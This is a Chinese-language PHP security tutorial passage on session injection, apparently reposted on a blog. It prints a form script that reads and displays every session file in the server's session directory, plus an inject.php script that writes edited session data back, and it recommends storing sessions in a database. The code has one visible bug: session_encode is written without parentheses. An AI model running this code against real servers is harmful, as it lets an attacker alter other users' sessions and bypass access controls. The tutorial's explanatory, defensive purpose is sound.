會話注入
一個與會話暴露類似的問題是會話注入。此類攻擊是基于你的WEB服務器除了對會話存儲目錄有讀取權限外,還有寫入權限。因此,存在著編寫一段允許其他用戶添加,編輯或刪除會話的腳本的可能。下例顯示了一個允許用戶方便地編輯已存在的會話數據的HTML表單:
<?php
session_start();
?>
<form action="inject.php" method="POST">
<?php
$path = ini_get('session.save_path');
$handle = dir($path);
while ($filename = $handle->read())
{
if (substr($filename, 0, 5) == 'sess_')
{
$sess_data = file_get_contents("$path/$filename");
if (!empty($sess_data))
{
session_decode($sess_data);
$sess_data = $_SESSION;
$_SESSION = array();
$sess_name = substr($filename, 5);
$sess_name = htmlentities($sess_name, ENT_QUOTES, 'UTF-8');
echo "<h1>Session [$sess_name]</h1>";
foreach ($sess_data as $name => $value)
{
$name = htmlentities($name, ENT_QUOTES, 'UTF-8');
$value = htmlentities($value, ENT_QUOTES, 'UTF-8');
echo "<p>
$name:
<input type=\"text\"
name=\"{$sess_name}[{$name}]\"
value=\"$value\" />
</p>";
}
echo '<br />';
}
}
}
$handle->close();
?>
<input type="submit" />
</form>
腳本inject.php執行由表單所指定的修改:
<?php
session_start();
$path = ini_get('session.save_path');
foreach ($_POST as $sess_name => $sess_data)
{
$_SESSION = $sess_data;
$sess_data = session_encode;
file_put_contents("$path/$sess_name", $sess_data);
}
$_SESSION = array();
?>
此類攻擊非常危險。攻擊者不僅可以編輯你的用戶的數據,還可以編輯他自己的會話數據。它比會話劫持更為強大,因為攻擊者能選擇所有的會話數據進行修改,從而使繞過訪問限制和其他安全手段成為可能。
針對這個問題的最好解決方案是將會話數據保存在數據庫中。參見前節所示。
掃碼二維碼 獲取免費視頻學習資料
- 本文固定鏈接: http://www.wangchenghua.com/post/4877/
- 轉載請注明:轉載必須在正文中標注并保留原文鏈接
- 掃碼: 掃上方二維碼獲取免費視頻資料